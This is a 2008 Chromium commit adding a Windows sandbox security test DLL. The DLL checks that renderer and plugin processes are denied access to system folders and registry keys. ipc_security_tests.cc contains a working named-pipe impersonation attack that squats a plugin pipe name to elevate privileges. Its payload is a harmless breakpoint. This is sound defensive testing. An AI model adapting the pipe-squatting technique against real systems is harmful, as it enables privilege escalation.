diff options
author | initial.commit <initial.commit@0039d316-1c4b-4281-b951-d872f2087c98> | 2008-07-26 23:55:29 +0000 |
---|---|---|
committer | initial.commit <initial.commit@0039d316-1c4b-4281-b951-d872f2087c98> | 2008-07-26 23:55:29 +0000 |
commit | 09911bf300f1a419907a9412154760efd0b7abc3 (patch) | |
tree | f131325fb4e2ad12c6d3504ab75b16dd92facfed /chrome/test/security_tests | |
parent | 586acc5fe142f498261f52c66862fa417c3d52d2 (diff) | |
download | chromium_src-09911bf300f1a419907a9412154760efd0b7abc3.zip chromium_src-09911bf300f1a419907a9412154760efd0b7abc3.tar.gz chromium_src-09911bf300f1a419907a9412154760efd0b7abc3.tar.bz2 |
Add chrome to the repository.
git-svn-id: svn://svn.chromium.org/chrome/trunk/src@15 0039d316-1c4b-4281-b951-d872f2087c98
Diffstat (limited to 'chrome/test/security_tests')
-rw-r--r-- | chrome/test/security_tests/SConscript | 91 | ||||
-rw-r--r-- | chrome/test/security_tests/ipc_security_tests.cc | 217 | ||||
-rw-r--r-- | chrome/test/security_tests/ipc_security_tests.h | 39 | ||||
-rw-r--r-- | chrome/test/security_tests/security_tests.cc | 87 | ||||
-rw-r--r-- | chrome/test/security_tests/security_tests.vcproj | 169 |
5 files changed, 603 insertions, 0 deletions
diff --git a/chrome/test/security_tests/SConscript b/chrome/test/security_tests/SConscript new file mode 100644 index 0000000..39300c8 --- /dev/null +++ b/chrome/test/security_tests/SConscript @@ -0,0 +1,91 @@ +# Copyright 2008, Google Inc.
+# All rights reserved.
+#
+# Redistribution and use in source and binary forms, with or without
+# modification, are permitted provided that the following conditions are
+# met:
+#
+# * Redistributions of source code must retain the above copyright
+# notice, this list of conditions and the following disclaimer.
+# * Redistributions in binary form must reproduce the above
+# copyright notice, this list of conditions and the following disclaimer
+# in the documentation and/or other materials provided with the
+# distribution.
+# * Neither the name of Google Inc. nor the names of its
+# contributors may be used to endorse or promote products derived from
+# this software without specific prior written permission.
+#
+# THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
+# "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
+# LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
+# A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
+# OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
+# SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
+# LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
+# DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
+# THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
+# (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+# OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
+
+Import('env')
+
+env = env.Clone()
+
+
+env.Prepend(
+ CPPPATH = [
+ '#/..',
+ ],
+ LINKFLAGS = [
+ '/INCREMENTAL',
+
+ '/MANIFEST',
+ '/DELAYLOAD:"dwmapi.dll"',
+ '/DELAYLOAD:"uxtheme.dll"',
+ '/MACHINE:X86',
+ '/FIXED:No',
+
+ '/safeseh',
+ '/dynamicbase',
+ '/ignore:4199',
+ '/nxcompat',
+
+ '/DEBUG',
+ ],
+ LIBS = [
+ 'wininet.lib',
+ 'version.lib',
+ 'msimg32.lib',
+ 'ws2_32.lib',
+ 'usp10.lib',
+ 'psapi.lib',
+ 'kernel32.lib',
+ 'user32.lib',
+ 'gdi32.lib',
+ 'winspool.lib',
+ 'comdlg32.lib',
+ 'advapi32.lib',
+ 'shell32.lib',
+ 'ole32.lib',
+ 'oleaut32.lib',
+ 'uuid.lib',
+ 'odbc32.lib',
+ 'odbccp32.lib',
+
+ 'DelayImp.lib',
+ ],
+)
+
+#/MANIFESTFILE:"C:\src\trunk-vs\chrome\Debug\obj\test_chrome_plugin\test_chrome_plugin.dll.intermediate.manifest"
+#/PDB:"c:\src\trunk-vs\chrome\Debug\test_chrome_plugin.pdb"
+
+input_files = [
+ 'ipc_security_tests.cc',
+ 'security_tests.cc',
+ '$SANDBOX_DIR/tests/validation_tests/commands${OBJSUFFIX}',
+]
+
+dll = env.SharedLibrary('security_tests', input_files)
+
+i = env.Install('$TARGET_ROOT', dll)
+env.Alias('chrome', i)
diff --git a/chrome/test/security_tests/ipc_security_tests.cc b/chrome/test/security_tests/ipc_security_tests.cc new file mode 100644 index 0000000..e85e09b --- /dev/null +++ b/chrome/test/security_tests/ipc_security_tests.cc @@ -0,0 +1,217 @@ +// Copyright 2008, Google Inc. +// All rights reserved. +// +// Redistribution and use in source and binary forms, with or without +// modification, are permitted provided that the following conditions are +// met: +// +// * Redistributions of source code must retain the above copyright +// notice, this list of conditions and the following disclaimer. +// * Redistributions in binary form must reproduce the above +// copyright notice, this list of conditions and the following disclaimer +// in the documentation and/or other materials provided with the +// distribution. +// * Neither the name of Google Inc. nor the names of its +// contributors may be used to endorse or promote products derived from +// this software without specific prior written permission. +// +// THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS +// "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT +// LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR +// A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT +// OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, +// SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT +// LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, +// DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY +// THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT +// (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE +// OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. + +#include <windows.h> +#include <string> +#include <sstream> + +#include "chrome/test/security_tests/ipc_security_tests.h" + +namespace { + +// Debug output messages prefix. +const char kODSMgPrefix[] = "[security] "; +// Format of the Chrome browser pipe for plugins. +const wchar_t kChromePluginPipeFmt[] = L"\\\\.\\pipe\\chrome.%s.p%d"; +// Size for the in/out pipe buffers. +const int kBufferSize = 1024; + +// Define the next symbol if you want to have tracing of errors. +#ifdef PIPE_SECURITY_DBG +// Generic debug output function. +void ODSMessageGLE(const char* txt) { + DWORD gle = ::GetLastError(); + std::ostringstream oss; + oss << kODSMgPrefix << txt << " 0x" << std::hex << gle; + ::OutputDebugStringA(oss.str().c_str()); +} +#else +void ODSMessageGLE(const char* txt) { +} +#endif + +// Retrieves the renderer pipe name from the command line. Returns true if the +// name was found. +bool PipeNameFromCommandLine(std::wstring* pipe_name) { + std::wstring cl(::GetCommandLineW()); + const wchar_t key_name[] = L"--channel"; + std::wstring::size_type pos = cl.find(key_name, 0); + if (std::wstring::npos == pos) { + return false; + } + pos = cl.find(L"=", pos); + if (std::wstring::npos == pos) { + return false; + } + ++pos; + size_t dst = cl.length() - pos; + if (dst <4) { + return false; + } + for (; dst != 0; --dst) { + if (!isspace(cl[pos])) { + break; + } + ++pos; + } + if (0 == dst) { + return false; + } + std::wstring::size_type pos2 = pos; + for (; dst != 0; --dst) { + if (isspace(cl[pos2])) { + break; + } + ++pos2; + } + *pipe_name = cl.substr(pos, pos2); + return true; +} + +// Extracts the browser process id and the channel id given the renderer +// pipe name. +bool InfoFromPipeName(const std::wstring& pipe_name, std::wstring* parent_id, + std::wstring* channel_id) { + std::wstring::size_type pos = pipe_name.find(L".", 0); + if (std::wstring::npos == pos) { + return false; + } + *parent_id = pipe_name.substr(0, pos); + *channel_id = pipe_name.substr(pos + 1); + return true; +} + +// Creates a server pipe, in byte mode. +HANDLE MakeServerPipeBase(const wchar_t* pipe_name) { + HANDLE pipe = ::CreateNamedPipeW(pipe_name, PIPE_ACCESS_DUPLEX, + PIPE_TYPE_BYTE | PIPE_READMODE_BYTE, 3, + kBufferSize, kBufferSize, 5000, NULL); + if (INVALID_HANDLE_VALUE == pipe) { + ODSMessageGLE("pipe creation failed"); + } + return pipe; +} + +// Creates a chrome plugin server pipe. +HANDLE MakeServerPluginPipe(const std::wstring& prefix, int channel) { + wchar_t pipe_name[MAX_PATH]; + swprintf_s(pipe_name, kChromePluginPipeFmt, prefix.c_str(), channel); + return MakeServerPipeBase(pipe_name); +} + +struct Context { + HANDLE pipe; + Context(HANDLE arg_pipe) : pipe(arg_pipe) { + } +}; + +// This function is called from a thread that has a security context that is +// higher than the renderer security context. This can be the plugin security +// context or the browser security context. +void DoEvilThings(Context* context) { + // To make the test fail we simply trigger a breakpoint in the renderer. + ::DisconnectNamedPipe(context->pipe); + __debugbreak(); +} + +// This is a pipe server thread routine. +DWORD WINAPI PipeServerProc(void* thread_param) { + if (NULL == thread_param) { + return 0; + } + Context* context = static_cast<Context*>(thread_param); + HANDLE server_pipe = context->pipe; + + char buffer[4]; + DWORD bytes_read = 0; + + for (;;) { + // The next call blocks until a connection is made. + if (!::ConnectNamedPipe(server_pipe, NULL)) { + if (GetLastError() != ERROR_PIPE_CONNECTED) { + ODSMessageGLE("== connect named pipe failed =="); + continue; + } + } + // return value of ReadFile is unimportant. + ::ReadFile(server_pipe, buffer, 1, &bytes_read, NULL); + if (::ImpersonateNamedPipeClient(server_pipe)) { + ODSMessageGLE("impersonation obtained"); + DoEvilThings(context); + break; + } else { + ODSMessageGLE("impersonation failed"); + } + ::DisconnectNamedPipe(server_pipe); + } + delete context; + return 0; +} +} // namespace + +// Implements a pipe impersonation attack resulting on a privilege elevation on +// the chrome pipe-based IPC. +// When a web-page that has a plug-in is loaded, chrome will do the following +// steps: +// 1) Creates a server pipe with name 'chrome.<pid>.p<n>'. Initially n = 1. +// 2) Launches chrome with command line --type=plugin --channel=<pid>.p<n> +// 3) The new (plugin) process connects to the pipe and sends a 'hello' +// message. +// The attack creates another server pipe with the same name before step one +// so when the plugin connects it connects to the renderer instead. Once the +// connection is acepted and at least a byte is read from the pipe, the +// renderer can impersonate the plugin process which has a more relaxed +// security context (privilege elevation). +// +// Note that the attack can also be peformed after step 1. In this case we need +// another thread which used to connect to the existing server pipe so the +// plugin does not connect to chrome but to our pipe. +bool PipeImpersonationAttack() { + std::wstring pipe_name; + if (!PipeNameFromCommandLine(&pipe_name)) { + return false; + } + std::wstring parent_id; + std::wstring channel_id; + if (!InfoFromPipeName(pipe_name, &parent_id, &channel_id)) { + return false; + } + HANDLE plugin_pipe = MakeServerPluginPipe(parent_id, 1); + if (INVALID_HANDLE_VALUE == plugin_pipe) { + return true; + } + + HANDLE thread = ::CreateThread(NULL, 0, PipeServerProc, + new Context(plugin_pipe), 0, NULL); + if (NULL == thread) { + return false; + } + ::CloseHandle(thread); + return true; +} diff --git a/chrome/test/security_tests/ipc_security_tests.h b/chrome/test/security_tests/ipc_security_tests.h new file mode 100644 index 0000000..8706570 --- /dev/null +++ b/chrome/test/security_tests/ipc_security_tests.h @@ -0,0 +1,39 @@ +// Copyright 2008, Google Inc. +// All rights reserved. +// +// Redistribution and use in source and binary forms, with or without +// modification, are permitted provided that the following conditions are +// met: +// +// * Redistributions of source code must retain the above copyright +// notice, this list of conditions and the following disclaimer. +// * Redistributions in binary form must reproduce the above +// copyright notice, this list of conditions and the following disclaimer +// in the documentation and/or other materials provided with the +// distribution. +// * Neither the name of Google Inc. nor the names of its +// contributors may be used to endorse or promote products derived from +// this software without specific prior written permission. +// +// THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS +// "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT +// LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR +// A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT +// OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, +// SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT +// LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, +// DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY +// THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT +// (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE +// OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. + +#ifndef CHROME_TEST_SECURITY_TESTS_IPC_SECURITY_TESTS_H__ +#define CHROME_TEST_SECURITY_TESTS_IPC_SECURITY_TESTS_H__ + +// Impersonates a chrome server pipe. See the implementation for details. +// Returns false if the attack could not be set. If it returns true then +// it spawns a thread that will terminate the renderer if the attack is +// successful. +bool PipeImpersonationAttack(); + +#endif // CHROME_TEST_SECURITY_TESTS_IPC_SECURITY_TESTS_H__ diff --git a/chrome/test/security_tests/security_tests.cc b/chrome/test/security_tests/security_tests.cc new file mode 100644 index 0000000..e86df13 --- /dev/null +++ b/chrome/test/security_tests/security_tests.cc @@ -0,0 +1,87 @@ +// Copyright 2008, Google Inc. +// All rights reserved. +// +// Redistribution and use in source and binary forms, with or without +// modification, are permitted provided that the following conditions are +// met: +// +// * Redistributions of source code must retain the above copyright +// notice, this list of conditions and the following disclaimer. +// * Redistributions in binary form must reproduce the above +// copyright notice, this list of conditions and the following disclaimer +// in the documentation and/or other materials provided with the +// distribution. +// * Neither the name of Google Inc. nor the names of its +// contributors may be used to endorse or promote products derived from +// this software without specific prior written permission. +// +// THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS +// "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT +// LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR +// A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT +// OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, +// SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT +// LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, +// DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY +// THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT +// (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE +// OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. + +#include <windows.h> +#include <string> + +#define TEST_INJECTION_DLL +#include "chrome/test/injection_test_dll.h" +#include "chrome/test/security_tests/ipc_security_tests.h" +#include "sandbox/tests/common/controller.h" +#include "sandbox/tests/validation_tests/commands.h" + +#define SECURITY_CHECK(x) (*test_count)++; \ + if (SBOX_TEST_DENIED != x) { \ + return FALSE; \ + }; + +BOOL APIENTRY DllMain(HMODULE module, DWORD ul_reason_for_call, + LPVOID lpReserved) { + return TRUE; +} + +// Runs the security tests of sandbox for the renderer process. +// If a test fails, the return value is FALSE and test_count contains the +// number of tests executed, including the failing test. +BOOL __declspec(dllexport) __cdecl RunRendererTests(int *test_count) { + using namespace sandbox; + *test_count = 0; + SECURITY_CHECK(TestOpenReadFile(L"%SystemDrive%")); + SECURITY_CHECK(TestOpenReadFile(L"%SystemRoot%")); + SECURITY_CHECK(TestOpenReadFile(L"%ProgramFiles%")); + SECURITY_CHECK(TestOpenReadFile(L"%SystemRoot%\\System32")); + SECURITY_CHECK(TestOpenReadFile(L"%SystemRoot%\\explorer.exe")); + SECURITY_CHECK(TestOpenReadFile(L"%SystemRoot%\\Cursors\\arrow_i.cur")); + SECURITY_CHECK(TestOpenReadFile(L"%AllUsersProfile%")); + SECURITY_CHECK(TestOpenReadFile(L"%Temp%")); + SECURITY_CHECK(TestOpenReadFile(L"%AppData%")); + SECURITY_CHECK(TestOpenKey(HKEY_LOCAL_MACHINE, L"")); + SECURITY_CHECK(TestOpenKey(HKEY_CURRENT_USER, L"")); + SECURITY_CHECK(TestOpenKey(HKEY_USERS, L"")); + SECURITY_CHECK(TestOpenKey(HKEY_LOCAL_MACHINE, + L"Software\\Microsoft\\Windows NT\\CurrentVersion\\WinLogon")); + // Test below run on a separate thread because they cannot block the + // renderer process. Therefore they do not return a meaningful value. + PipeImpersonationAttack(); + return TRUE; +} + +// Runs the security tests of sandbox for the plugin process. +// If a test fails, the return value is FALSE and test_count contains the +// number of tests executed, including the failing test. +BOOL __declspec(dllexport) __cdecl RunPluginTests(int *test_count) { + using namespace sandbox; + *test_count = 0; + SECURITY_CHECK(TestOpenWriteFile(L"%SystemRoot%")); + SECURITY_CHECK(TestOpenWriteFile(L"%ProgramFiles%")); + SECURITY_CHECK(TestOpenWriteFile(L"%SystemRoot%\\System32")); + SECURITY_CHECK(TestOpenWriteFile(L"%SystemRoot%\\explorer.exe")); + SECURITY_CHECK(TestOpenWriteFile(L"%SystemRoot%\\Cursors\\arrow_i.cur")); + return TRUE; +} diff --git a/chrome/test/security_tests/security_tests.vcproj b/chrome/test/security_tests/security_tests.vcproj new file mode 100644 index 0000000..1149b68 --- /dev/null +++ b/chrome/test/security_tests/security_tests.vcproj @@ -0,0 +1,169 @@ +<?xml version="1.0" encoding="Windows-1252"?> +<VisualStudioProject + ProjectType="Visual C++" + Version="8.00" + Name="security_tests" + ProjectGUID="{E750512D-FC7C-4C98-BF04-0A0DAF882055}" + RootNamespace="security_tests" + Keyword="Win32Proj" + > + <Platforms> + <Platform + Name="Win32" + /> + </Platforms> + <ToolFiles> + </ToolFiles> + <Configurations> + <Configuration + Name="Debug|Win32" + ConfigurationType="2" + InheritedPropertySheets="$(SolutionDir)..\build\common.vsprops;$(SolutionDir)..\build\debug.vsprops" + > + <Tool + Name="VCPreBuildEventTool" + /> + <Tool + Name="VCCustomBuildTool" + /> + <Tool + Name="VCXMLDataGeneratorTool" + /> + <Tool + Name="VCWebServiceProxyGeneratorTool" + /> + <Tool + Name="VCMIDLTool" + /> + <Tool + Name="VCCLCompilerTool" + /> + <Tool + Name="VCManagedResourceCompilerTool" + /> + <Tool + Name="VCResourceCompilerTool" + /> + <Tool + Name="VCPreLinkEventTool" + /> + <Tool + Name="VCLinkerTool" + /> + <Tool + Name="VCALinkTool" + /> + <Tool + Name="VCManifestTool" + /> + <Tool + Name="VCXDCMakeTool" + /> + <Tool + Name="VCBscMakeTool" + /> + <Tool + Name="VCFxCopTool" + /> + <Tool + Name="VCAppVerifierTool" + /> + <Tool + Name="VCWebDeploymentTool" + /> + <Tool + Name="VCPostBuildEventTool" + /> + </Configuration> + <Configuration + Name="Release|Win32" + ConfigurationType="2" + InheritedPropertySheets="$(SolutionDir)..\build\common.vsprops;$(SolutionDir)..\build\release.vsprops" + > + <Tool + Name="VCPreBuildEventTool" + /> + <Tool + Name="VCCustomBuildTool" + /> + <Tool + Name="VCXMLDataGeneratorTool" + /> + <Tool + Name="VCWebServiceProxyGeneratorTool" + /> + <Tool + Name="VCMIDLTool" + /> + <Tool + Name="VCCLCompilerTool" + /> + <Tool + Name="VCManagedResourceCompilerTool" + /> + <Tool + Name="VCResourceCompilerTool" + /> + <Tool + Name="VCPreLinkEventTool" + /> + <Tool + Name="VCLinkerTool" + /> + <Tool + Name="VCALinkTool" + /> + <Tool + Name="VCManifestTool" + /> + <Tool + Name="VCXDCMakeTool" + /> + <Tool + Name="VCBscMakeTool" + /> + <Tool + Name="VCFxCopTool" + /> + <Tool + Name="VCAppVerifierTool" + /> + <Tool + Name="VCWebDeploymentTool" + /> + <Tool + Name="VCPostBuildEventTool" + /> + </Configuration> + </Configurations> + <References> + </References> + <Files> + <File + RelativePath="..\..\..\sandbox\tests\validation_tests\commands.cc" + > + </File> + <File + RelativePath="..\..\..\sandbox\tests\validation_tests\commands.h" + > + </File> + <File + RelativePath="..\injection_test_dll.h" + > + </File> + <File + RelativePath=".\ipc_security_tests.cc" + > + </File> + <File + RelativePath=".\ipc_security_tests.h" + > + </File> + <File + RelativePath=".\security_tests.cc" + > + </File> + </Files> + <Globals> + </Globals> +</VisualStudioProject> |